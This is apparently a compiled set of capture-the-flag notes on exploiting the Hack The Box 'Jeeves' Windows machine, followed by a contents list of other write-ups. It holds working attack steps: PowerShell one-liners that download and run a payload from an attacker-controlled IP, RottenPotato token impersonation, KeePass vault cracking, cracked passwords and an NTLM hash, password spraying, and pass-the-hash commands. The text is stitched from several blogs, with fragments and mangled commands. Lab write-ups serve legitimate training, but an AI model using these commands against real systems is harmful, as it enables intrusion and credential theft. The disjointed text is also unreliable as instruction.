It looks like this machine is vulnerable to MS16-075 (which I would say is fairly reliable when available), and from our eariler whoami /all command it seems we have everything in place to successfully execute this exploit.
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MS16-075 Windows smb server
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MS16-032 - Security update for secondary logon to address elevation of privilege
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Method 1: MS16-075 “RottenPotato”
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The steps to successfully exploit MS16-075 “rotten potato” (with meterpreter) is:
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Have meterpreter shell
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Upload RottenPotato/potato exploit executeable
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Load ignognito on meterpreter session
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Execute rottenpotato executable
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Impersonate NT Authority/SYSTEM token
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You are now system.
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Powershell 1-liner for download + executing file (getting meterpreter shell):
powershell -exec bypass -c "(New-Object Net.WebClient).DownloadFile('http://10.10.15.30:9999/8383.exe','8383.exe')";Start-Process '8383.exe'
On Jeeves Host
cd %appdata%
powershell -exec bypass -c "(New-Object Net.WebClient).DownloadFile('http://10.10.15.30:9999/8383.exe','8383.exe')";Start-Process '8383.exe'
Completing the required steps for the exploit
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upload /opt/serve/windows/priv/rottenpotato.exe
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load incognito
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execute -cH -f rottenpotato.exe
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list_tokens -u
Copied!
impersonate_token "NT AUTHORITY\SYSTEM"
Method 2: Crack Keepass Database to Pass-the-hash
If you searched through the user kohsuke documents directory you would discover a file called CEH.kbdx. Normally the .kbdx file extension is associated with the KeePass Password Safe. If we can crack the password on this vault file, we will likely find credentials to potentially the local administrator account.
Downloading the Keepass Database file with meterpreter download CEH.kdbx
verifying the downloaded file [email protected]:~/htb/jeeves# file CEH.kdbx
Before we can crack the CEH.kbdx we need to convert it to a format that either john or hashcat can understand. We can use the tool keepass2john (comes preinstalled on kali) to do this.
keepass2john CEH.kdbx
cracking the hash & getting the password of the vault with john john --wordlist=/usr/share/wordlists/rockyou.txt CEH.hash
Here are the contents that were contained in the keepass database file.
Password 12345 F7WhTrSFDKB6sxHU1cUn pwndyouall! lCEUnYPjNfIuPZSzOySA S1TjAtJHKsugh9oC4VZl aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
We have a few passwords & and a hash aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 which happens to be an NTLM hash. The SMB Service (Port 445) is exposed on this server, so we can attempt to authenticate to the system using a password spray attack or a pass-the-hash attack.
crackmapexec smb ip -u Administrator -p ceh_db_passwords.txt --lusers
crackmapexec smb ip -u administrator -H ceh_db_hash.txt --lusers
Shell with Metasploit PSEXEC Module & Hash With a valid hash of the administrator account, we can perform a pass-the-hash attack & compromise the machine. I chose to use Metasploit for this, but there are plenty of tools which do the same thing as this module.
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Getting SYSTEM shell with msf psexec
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use exploit/windows/smb/psexec
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exploit done with hash
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Getting the “Hidden” root.txt
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dir /a
dir /R That hm.txt:root.txt:$DATA means that the file root.txt is inside an alternate data stream inside hm.txt
You can see the contents of an ADS stream a few different ways but the simplist way in my opinion is using the more command on windows…
more < hm.txt:root.txt
blog 2nd
search -f *.kdbx /exploit/windows/smb/psexec
chose to use the simple pth-winexe program, shown below. Metasploit's exploit/windows/smb/psexec module is also an option.
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pth-toolkit and Impacket pth-net
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pth-rpcclient
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pth-smbclient
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pth-smbget
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pth-sqsh
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pth-winexe
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pth-wmic
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pth-wmis
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pth-winexe. The pth suite uses the format DOMAIN/user%hash:
pth-winexe -U pth-winexe -U administrator //192.168.1.101 cmd pth-winexe -U admin/hash:has //192.168.0.101 cmd
pth-winexe -U Administrator%'hash' //ip cmd.exe
gobuster -e -u http://10.10.10.63:50000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 25
john --format="keepass" --wordlist=/usr/share/wordlists/rockyou.txt hash.txt pth-winexe -U ./Administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 //10.10.10.63 cmd.exe
Keepas password manager Doing a bit of roaming around the file system, I find an interesting .kdbx file. This file extension is associated with Keepass password manager. The mentiond .kdbx file can be found at C:\Users\kohsuke\Documents\CEH.kdbx. To transfer this file into our computer I first put netcat binary (in Kali: /usr/share/windows-binaries/nc.exe) onto the Windows system via Powershell:
Run inside the reverse shell:
powershell -c '(new-object System.Net.WebClient).DownloadFile("http://IP/nc.exe", "C:\Windows\Temp\nc.exe")'
OR
powershell -c 'Invoke-WebRequest "http://IP/nc.exe" -OutFile "C:\Windows\Temp\nc.exe"' Note: Don’t forget to start a web server before you actually try to download a file.
Thanks to netcat, we are able to transfer the .kdbx file into our filesystem. We can then proceed to generate a hash with keepass2john.
=========================================================================
Last modified 2yr ago
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Contents
legacy: windows
MS-08-067
blue writeup - windows
1st method
2nd method https://www.exploit-db.com/exploits/42315/
devel - windows
1 way nc.exe
2nd way
3rd way: meterpreter shell
Privesc: web –> System
1st way
2nd method with metasploit
optimum htb windows
2nd method
Bastard htb windows
Drupalgeddon2
Silo htb walkthrough
Privesc
Root shell
Alternative Path to root
RottenPotato Privesc
blog 2
Exploitation Creating your own privileged users
3rd blog silo
1st blog 0xdf
User Shell
Nishang powershell
Privesc Desktop Note
hashes got
2 Alternative Path to root
3 RottenPotato Privesc whoami /priv
bounty htb windows
.aspx%00.jpg
web.config RCE
Privesc: merlin –> SYSTEM Enumeration
Watson : check the version details:
Escalation Method 1: Lonely Potato
Method 2: Kernel Exploits - Metasploit msf exploit(windows/local/ms10_092_schelevator) > options
====================================== 2 blog:
PART TWO: ROOT
blog 3
heist htb 2 jan
first blog
With Creds
2nd blog cisco type 7 http://ibeast.com/tools/CiscoPassword
3rd blog
Jeeves htb windows without metasploit
Method 1: Jenkins Script Console
Method 2: Build Job Exec Command
Privilege Escalation:
Method 2: Crack Keepass Database to Pass-the-hash
blog 2nd